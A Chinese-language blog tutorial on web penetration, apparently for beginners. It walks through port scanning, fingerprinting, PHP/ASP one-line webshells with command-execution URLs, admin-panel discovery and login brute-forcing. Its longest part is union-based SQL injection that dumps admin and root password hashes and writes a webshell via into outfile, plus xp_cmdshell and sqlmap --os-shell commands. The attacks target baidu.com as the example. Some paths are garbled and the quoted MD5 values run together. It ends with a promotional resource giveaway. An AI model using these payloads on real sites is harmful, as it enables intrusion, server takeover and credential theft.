
一,别再死记硬背:扒开Web的“底裤”
现在动不动就提“渗透”,好像不黑进几个服务器都不好意思说自己是搞安全的。但渗透说白了,就是想方设法钻进别人家的后院。Web服务器首当其冲,为啥?因为它露出的“破绽”最多,交互复杂就意味着漏洞百出。攻陷Web服务器,就像拿到了一把钥匙,顺藤摸瓜,个人电脑、路由器、摄像头,啥都能搞。
咱们先看个最常见的网址:http://www.baidu.com。
http是啥?协议!https是啥?加了密,防“中间人”偷窥!www.baidu.com是域名,用ping命令一敲,IP地址就出来了(比如14.215.177.38)。

域名和IP,其实就是个指向关系。www.baidu.com可能就绑定在14.215.177.38这个IP的80端口上。访问http://14.215.177.38和访问http://www.baidu.com,没啥区别。但如果绑在8080端口上,就得老老实实输http://14.215.177.38:8080。
(插一句: 你ping百度,结果出来个www.a.shifen.com?别慌,这是CDN在搞事情,给你加速呢。想搞百度,别对着CDN猛揍,没用,得找到它的真实IP才行!)
一个公网IP,通常就代表着一台服务器。但这服务器可不只靠HTTP的80端口跟外界交流,还有一堆其他的“窗口”:
- 21 (FTP):老掉牙的FTP,说不定能匿名访问,偷偷上传点东西。
- 22 (SSH):Linux的远程管理通道,拿到账号密码就能远程操控。
- 23 (Telnet):也是远程管理,不过现在很少见了,除非是一些老设备。
- 443 (HTTPS):HTTPS的默认端口,安全起见,流量都走这儿。
- 445 (SMB):Windows共享服务,内网里常见,搞不好能直接访问共享文件夹。
- 1433 (MSSQL):微软SQL Server数据库,搞不好能远程登录。
- 3306 (MySQL):MySQL数据库,同上。
- 3389 (RDP):Windows远程桌面,直接连上去,眼见为实。
- 8000, 8088, 8888:一些“不正经”的HTTP端口,说不定藏着啥秘密。
21、22、23、1433、3306、3389这些端口,都是暴力破解的重灾区。为啥?因为它们可能有默认的高权限账号!比如22的root,1433的sa,3306的root,3389的administrator。
但说实话, 没啥目标信息,没啥针对性字典,靠爆破那些“123456”之类的弱密码,基本都是白费力气。
所以,端口扫描的真正意义在于: 发现更多“隐藏”的HTTP端口!这些没和域名绑定的Web服务,往往因为不为人知,反而更加脆弱。
端口扫描,nmap必须安排上!Kali Linux自带,装都不用装。用法?简单粗暴:
nmap -v -sV -p 21,22,23,80 192.168.11.1 --open
-v:显示扫描细节,让你看得更清楚。-sV:探测端口上跑的软件版本,知己知彼。-p:指定要扫描的端口,想扫全部?-p 1-65535!--open:只显示开放的端口,省得看一堆没用的。
想扫整个C段?更简单:
nmap -v -sV -Pn 192.168.11.0/24 --open
-Pn:别管主机是不是活着,直接扫!192.168.11.0/24:扫192.168.11.1到192.168.11.255这一段IP。
扫描结果,就像这样:

端口是“窗户”,那Web的本质是啥?其实就是个文件夹! 里面塞满了HTML、CSS、JS、PNG之类的文件。你在Web上浏览不同页面,就跟在文件夹里翻不同文件一样。
比如,百度的Logo:
https://www.baidu.com/img/bd_logo1.png?where=super
点进去,就是一张图片。如果www.baidu.com的根目录在服务器的D:webaidu,那这张Logo的路径就是D:webaiduimgd_logo1.png。这个D:webaiduimgd_logo1.png,就是绝对路径!渗透的时候,如果想往Web里写点东西(比如Webshell),绝对路径是必须要搞清楚的。
HTML、CSS、JS、PNG这些都是静态文件,还有动态脚本:PHP、ASP、ASPX、JSP。
动态脚本和静态文件的区别在于:动态脚本是跑起来的!你每次访问http://www.baidu.com/index.php,index.php就会运行一次。所以,动态脚本不只能做Web,想生成个内容是“123”的TXT文件,用动态脚本也能轻松搞定,静态文件可不行。
为了更灵活,我们可以在index.php后面加参数,比如http://www.baidu.com/index.php?id=1,用来展示不同的内容。
?id=1是啥意思?其实就是从数据库里查出id为1的那条记录,然后显示在Web页面上。
所以,http://www.baidu.com/index.php?id=1,拆开来看就是:
http:协议。www.baidu.com:域名,可以换成14.215.177.38:80。index.php:服务器上的脚本文件。?id=1:查询数据库里id为1的内容。
渗透之前,要搞清楚Web的“身份”:
- 服务器系统: Windows Server还是Linux?Windows Server有2003、2008、2012、2016这些版本,分别对应XP、Win7、Win8、Win10。Linux常见的有CentOS、Ubuntu、Debian。
- Web容器: Windows常用IIS、Apache、Tomcat。Linux常用Apache、Nginx、Tomcat。
- 脚本语言: IIS一般用ASP、ASPX、PHP。Apache和Nginx一般用PHP。Tomcat一般用JSP。
- 数据库: 一般来说,ASP用Access,ASPX用MSSQL,PHP用MySQL,JSP用Oracle。
怎么判断Web用的是Windows还是Linux?看文件区分大小写不就行了!
比如https://www.baidu.com/img/bd_logo1.PnG,能正常访问,说明是Windows,不然就是Linux。
怎么判断Web容器?看它支持的脚本语言和服务器系统。比如用ASP的,肯定是IIS。还可以故意访问一个不存在的文件,看404报错页面,也能看出端倪。
IIS 6.0报错:

IIS 8.5报错:

IIS7.5报错:

Apache报错:


Nginx报错:

Tomcat报错:

通过报错页面获取信息,是渗透的常用思路。但很多网站为了安全,都自定义了404页面。
判断脚本语言更简单,看文件后缀名:ASP、ASPX、PHP、JSP。数据库一般和脚本语言绑定,ASP用Access,ASPX用MSSQL,PHP用MySQL,JSP用Oracle。
二,Webshell:拿到“钥匙”后的花式玩法
Web容器、脚本语言、数据库,这三样东西要配合起来用,自己一个个搭环境太麻烦,所以就有了集成环境包:XAMPP、PHPStudy、WampServer。如果能判断出Web服务器用的是集成环境包,就能更容易地找到绝对路径或者敏感文件。
自己写代码搭Web,难度太高,所以大部分人都会用现成的Web框架,比如DedeCMS(织梦)、EmpireCMS(帝国)、ThinkPHP、WordPress。
Web需要更新和编辑,总不能每次都直接改文件、连数据库吧?所以Web通常会有管理后台和编辑器。成熟的CMS都自带后台和编辑器,自己写的CMS,后台地址可能是https://www.baidu.com/admin/。常见的编辑器有FCKeditor、UEditor、CKEditor、eWebEditor。
如果这些CMS和编辑器用的是老版本,就可能存在各种漏洞,即使是最新版,也可能存在未公开的漏洞(0day)。就算没漏洞,源代码是公开的,也能审计,快速了解网站的结构,找出后台地址、数据库名、初始用户名等信息。
已经公开且比较容易利用的CMS和编辑器漏洞:
- ECShop:
https://xz.aliyun.com/t/2689 - UEditor:
https://www.freebuf.com/vuls/181814.html - Dede:
https://blog.youkuaiyun.com/fengxuan888/article/details/43309457?utm_source=blogxgwz3 - ThinkPHP:
https://www.freebuf.com/vuls/194127.html - FCKeditor:
https://www.t00ls.net/articles-21269.html
这些漏洞,要么是任意代码执行,要么是任意格式文件写入。任意代码执行,指的是任意PHP代码。如果能执行phpinfo();,就能执行exec();或者system();来执行CMD命令,也可以实现任意格式文件写入。
写入的文件,自然就是Webshell,最常见的一句话木马:
<%eval request ("x")%> (ASP)
<?php @eval($_GET['x']) ?> (PHP)
这些一句话木马的原理都一样,通过传递POST参数,来实现任意代码执行。
比如,存在http://www.baidu.com/1.php,内容是<?php @eval($_GET['x']) ?>,在浏览器里输入:
http://www.baidu.com/1.php?x=phpinfo();

再输入:
http://www.baidu.com/1.php?x=exec('whoami',$out);print_r($out);

这就是一句话木马的原理。GET和POST两种请求方式的区别,实战中我们一般用POST一句话。
手动用一句话太麻烦,还得绕过PHP魔术引号,所以我们用客户端来连接一句话,最常用的就是菜刀(Chopper.exe)。用法很简单,填入一句话地址和密码就行,菜刀会自动判断脚本语言和编码,也可以自行修改。

菜刀的文件管理、CMD、数据库功能都非常好用。



注意: 现在的菜刀大部分都有后门,有db.tmp文件的菜刀100%有后门,相对安全的是20100928和20160620的原版,MD5值分别是:
C05D44DBE353525F492208D891B53875AC86066FFD58779F4C0DB5030574B0CB
除了菜刀,还有XISE、蚁剑、冰蝎等类似的一句话客户端。
通过菜刀连接上一句话木马,就可以对Web服务器做很多操作了,为了方便,我们会继续上传小马和大马。小马是功能更简单更集中的大马,现在很少用了。
常见的大马:



https://github.com/search?q=webshell
大马的功能非常多,可以完成对网站乃至整个服务器的管理,到这一步基本完成了对网站的深入渗透,获取了等同于服务器容器的权限。
三,后台寻踪:像狗仔一样追踪管理员
实战中,不太可能总能碰到CMS的通用漏洞,让你直接执行代码或者写入文件。更多时候,我们需要登录后台,找到上传图片或者其他文件的页面,然后上传Webshell。
想登录后台,首先得找到后台地址,然后得知道管理员账号密码。
怎么找到后台地址?无外乎以下几种思路:
1,字典扫描:
不断尝试访问/admin/、/admin.php、/system/等常见目录。工具不重要,字典才是关键。针对性字典也很重要,比如www.baidu.com的后台可能是adminbaidu或者baiduadmin。

2,爬虫遍历:
把整个网站所有能点的链接都点一遍。管理员可能把后台地址藏在某个角落,或者某个图片文件的相对路径里。比如http://www.baidu.com/houtai/img/20190215/logo.png。常用爬虫工具是AWVS。

3,robots.txt:
robots.txt是搜索引擎和网站的“君子协定”,搜索引擎不会爬取robots.txt里的目录。有些管理员会把后台地址也写进去。

4,储存型XSS:
XSS是Web的重要漏洞,一旦利用成功,就能获取管理员的Cookie和后台地址。
5,CMS的固定后台地址:
- 织梦:
/dede - 帝国:
/e/admin - PHPCMS:
/index.php?m=admin&c=index&a=login&pc_hash= - WordPress:
/wp-login.php
6,Google Hacking:
用site:baidu.com inurl:login intext:管理|后台等高级搜索语法来寻找后台地址。
7,IIS短文件名漏洞:
利用Windows文件和文件夹可以用admini~1代替administrator的特性,对网站目录进行暴力破解,获取脚本文件和目录的前6位。
用法很简单:python iis.py http://x.com
https://github.com/lijiejie/IIS_shortname_Scanner
四,暴力破解:撞大运还是技术活?
网站后台地址找到了,怎么获取管理员账号密码?如果没有验证码和登录次数限制,最简单粗暴的就是暴力破解。当然,在暴力破解之前,可以先尝试admin/admin、admin/123456、admin/admin888等弱密码。暴力破解成功的概率取决于字典,针对性字典是关键。在暴力破解之前,尽量搜集网站和网站管理员的相关信息,比如QQ、生日、管理员姓名等等。
暴力破解工具很多,Burp Suite和AWVS都能做到。
先用Burp Suite抓取登录时的数据包。
浏览器打开登录界面,填入账号密码,然后登录。

Web登录会卡住不动,Burp Suite会显示数据包。

把数据包复制下来,粘贴到AWVS的HTTP Fuzzer中。
添加一个File Generator,选中你的字典。

选中log=admin&pwd=admin后面的pwd=admin,点击Insert into Request。

这样,数据包里本来应该传递admin的密码,就被替换成了字典里的多条密码。最后点击Start,就可以开始暴力破解了。破解结果,看返回包的大小(Response size)。

暴力破解很多时候都是无功而返,所以我们需要学习更高级的获取密码的方式,那就是SQL注入和XSS。
五,SQL注入:像黑客一样“撬锁”数据库
SQL注入是指,在Web有类似http://www.baidu.com/index.php?id=1的页面中,我们在id=1后面构造对数据库的操作语句,形成注入。Access、MSSQL、MySQL、Oracle以及其他数据库都有注入漏洞,区别在于因为数据库操作语句的不同,所需要注入的Payload也不同。
数据库都有库、表、列、值这些概念。
- 库(database): 连接数据库就要选择的,多个网站可以共用一台服务器上的数据库服务,但一个网站一般使用一个库。
- 表(table): 代表着库里面的一个项目,比如登录用的用户名密码,一定存储在一个表里,而新闻页的内容,储存在另外一个表里。
- 列(column)和值: 相当于一个表格里的内容。

id siteid cid name2 addtime isshow order language这些就是列,而下面其他内容就是值。
如果查询select * from class where id=1,则会显示:

如果我们不按套路出牌,明明id只有1和2,我们输入1',会怎么样呢?
http://www.baidu.com/index.php?id=1'

要么出现报错界面,要么数据库查询不到1'而展示空白页面。我们继续,分别输入:
http://www.baidu.com/index.php?id=1 and 1=1
http://www.baidu.com/index.php?id=1 and 1=2
如果前者出现正常页面,后者像1'一样报错或者显示空白页面,那就说明有注入漏洞。
检测出有SQL注入漏洞之后,就可以使用Payload进行注入,一步步暴库、暴表、暴列、暴值。不同的数据库Payload不同,这里只举例MySQL的注入方式。
用order by n来确定列数。
http://www.baidu.com/index.php?id=1 order by 1
页面显示正常,有的时候需要用--来闭合SQL语句。
http://www.baidu.com/index.php?id=1 order by 1 --
确定了列数,再使用联合查询union select。
http://www.baidu.com/index.php?id=1 union select 1,2,3 --
此时有可能会优先显示id=1的内容,所以可以给id一个不存在的值。
http://www.baidu.com/index.php?id=-1 union select 1,2,3 --

我们把1和2替换成current_user()和database(),暴出当前连接的用户名和当前数据库名。
http://www.baidu.com/index.php?id=-1 union select current_user(),database(),3--

然后暴出所有表名,其原理是MySQL的系统库information_schema中存储着其他所有库的表名和列名。
http://www.baidu.com/index.php?id=-1 union select group_concat(table_name),2,3 from information_schema.tables where table_schema='dbtopgloria59'--
找到管理员账户密码表名,再暴出该表的列名。
http://www.baidu.com/index.php?id=-1 union select group_concat(column_name),2,3 from information_schema.columns where table_name=0x6C6B5F61646D696E5F75736572 --
再暴出这两个列名的值。
http://www.baidu.com/index.php?id=-1 union select group_concat(USER_NAME),group_concat(PASSWORD),3 from lk_admin_user --
这样管理员的账户和密码就被SQL注入获取到了,但是密码往往不是明文,而是Hash加密,需要拿去MD5破解网站上破解,如果密码足够复杂,或者加了盐(Salt),也可能破解不出来。
https://www.cmd5.com/
https://www.somd5.com/
如果网站使用的数据库用户是root,这代表着MySQL的最高权限,可以查询所有的库。
上面我们查询当前库的表名的时候是指定了数据库的,查询列并没有,默认使用的当前数据库,跨库查询列的语句为:
http://www.baidu.com/index.php?id=-1 union select group_concat(column_name),2,3 from information_schema.columns where table_name=0x75736572 and table_schema=0x6D7973716C --

上图查询的是mysql库的root表,是存储着root密码的地方,继续查询USER和PASSWORD两个列的值。
http://www.baidu.com/index.php?id=-1 union select group_concat(USER),group_concat(PASSWORD),3 from mysql.user --

这样我们就知道了root账户的密码Hash,同样可以拿去破解,如果root允许远程的话,可以用Navicat for MySQL进行远程操作。
ROOT账户还有着读写文件的权限,但需要知道网站的绝对路径。
http://www.baidu.com/index.php?id=-1 union select 1,load_file('/var/www/html/index.php'),3--

http://www.baidu.com/index.php?id=-1 union select 1,'<?phpphpinfo();?>',3 into outfile '/var/www/html/shell.php'--
上述内容只是最基础的联合注入,还有报错型和布尔型,以及其他数据库的注入方式。其思路都是大致相同,不同的是SQL语句不同,还有的时候需要绕过网站的正则防护,各种WAF和安全狗等等,这些都需要去找资料学习。
需要注意的是Access数据库比较简单,没有库名,也无法暴出表名列名,只能暴力猜测,用admin admin_user manager等等不停的去试。
而MSSQL,最高权限是sa账户,虽然无法导出文件,但可以直接利用xp_cmdshell函数运行CMD命令,然后echo xxxxxx > D:\www\1.aspx获得Webshell。其对网站的绝对路径要求并没有那么大,因为可以通过CMD的for或者dir命令去寻找网站文件。如果MSSQL权限足够大,甚至可以直接添加管理员账户,进行3389远程连接。
有的时候即使拥有root或者sa权限,也无法直接导出Webshell,这是因为库站分离的原因。
手工注入优点是灵活,缺点就是繁琐,特别是需要暴力拆解时手工注入就太麻烦了,所以还要学会使用注入工具,最出名且最好用的工具无疑是SQLMap。

SQLMap是Python2工具,所以在安装SQLMap之前需要安装Python2并配置好环境。
SQLMap最基础的使用方法如下。
先cd到SQLMap目录下,再运行sqlmap.py
cd /d C:python2sqlmap

判断是否是最高权限
python sqlmap.py -u "http://www.baidu.com/index.php?id=1" --is-dba

True代表是最高权限,且读出来当前账户为root,那么我们尝试写入shell
python sqlmap.py -u "http://www.baidu.com/index.php?id=1" --os-shell

查询全部库名
python sqlmap.py -u "http://www.baidu.com/index.php?id=1" --dbs
查询当前库名
python sqlmap.py -u "http://www.baidu.com/index.php?id=1" --current-db

查询所有表名
python sqlmap.py -u "http://www.baidu.com/index.php?id=1" -D dbtopgloria59 --tables

查询lk_admin_user的列名
python sqlmap.py -u "http://www.baidu.com/index.php?id=1" -D dbtopgloria59 -T lk_admin_user --columns

查询user_name和password的值
python sqlmap.py -u "http://www.baidu.com/index.php?id=1" -D dbtopgloria59 -T lk_admin_user -C "user_name,passsword" --dump

这里是询问是否要破解Hash,SQLMap的破解很简单只能碰撞出简单Hash,所以一般不浪费时间去跑,全部选N即可。到这一步,我们就完成了注入获取管理员密码的目的。
SQLMap还有很多其他用法,这里介绍其他常用用法。
POST注入,我们需要先用Burp抓到POST数据包,然后复制进1.txt。
Python sqlmap.py -r "D:.txt"
指定参数注入,常见于伪静态网站,同理,也可以在POST数据包里加入星号
Python sqlmap.py -u "http://www.baidu.com/index.php?id=1*&cid=166"
Cookie注入,常见于有JS防护的ASP网站
Python sqlmap.py -u "http://www.baidu.com/index.asp" --cookie "id=27" --level 2
更高等级的注入,最高5
Python sqlmap.py -u "http://www.baidu.com/index.php?id=1" --level 5
Root或者sa权限时,读取数据库用户密码
Python sqlmap.py -u "http://www.baidu.com/index.php?id=1" --password
注入时携带Cookie,常见于已经登录才能看得到的页面的注入
Python sqlmap.py -u "http://www.baidu.com/index.php?id=1" --cookie=" PHPSESSID=i1dd3i7j04s7q7hn5ma8ip61c5"
代理注入,常见于碰见阿里云服务器的WAF,需要挂阿里云代理
```
Python sqlmap.py -u “http://www.baidu.com/index.php?id=1” --proxy
网络安全学习资源分享:
给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
因篇幅有限,仅展示部分资料,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,需要点击下方链接即可前往获取
读者福利 | 优快云大礼包:《网络安全入门&进阶学习资源包》免费分享 (安全链接,放心点击)
👉1.成长路线图&学习规划👈
要学习一门新的技术,作为新手一定要先学习成长路线图,方向不对,努力白费。
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。


👉2.网安入门到进阶视频教程👈
很多朋友都不喜欢晦涩的文字,我也为大家准备了视频教程,其中一共有21个章节,每个章节都是当前板块的精华浓缩。(全套教程文末领取哈)


👉3.SRC&黑客文档👈
大家最喜欢也是最关心的SRC技术文籍&黑客技术也有收录
SRC技术文籍:

黑客资料由于是敏感资源,这里不能直接展示哦!(全套教程文末领取哈)
👉4.护网行动资料👈
其中关于HW护网行动,也准备了对应的资料,这些内容可相当于比赛的金手指!

👉5.黑客必读书单👈

👉6.网络安全岗面试题合集👈
当你自学到这里,你就要开始思考找工作的事情了,而工作绕不开的就是真题和面试题。

所有资料共282G,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,可以扫描下方二维码或链接免费领取~
读者福利 | 优快云大礼包:《网络安全入门&进阶学习资源包》免费分享 (安全链接,放心点击)
766

被折叠的 条评论
为什么被折叠?



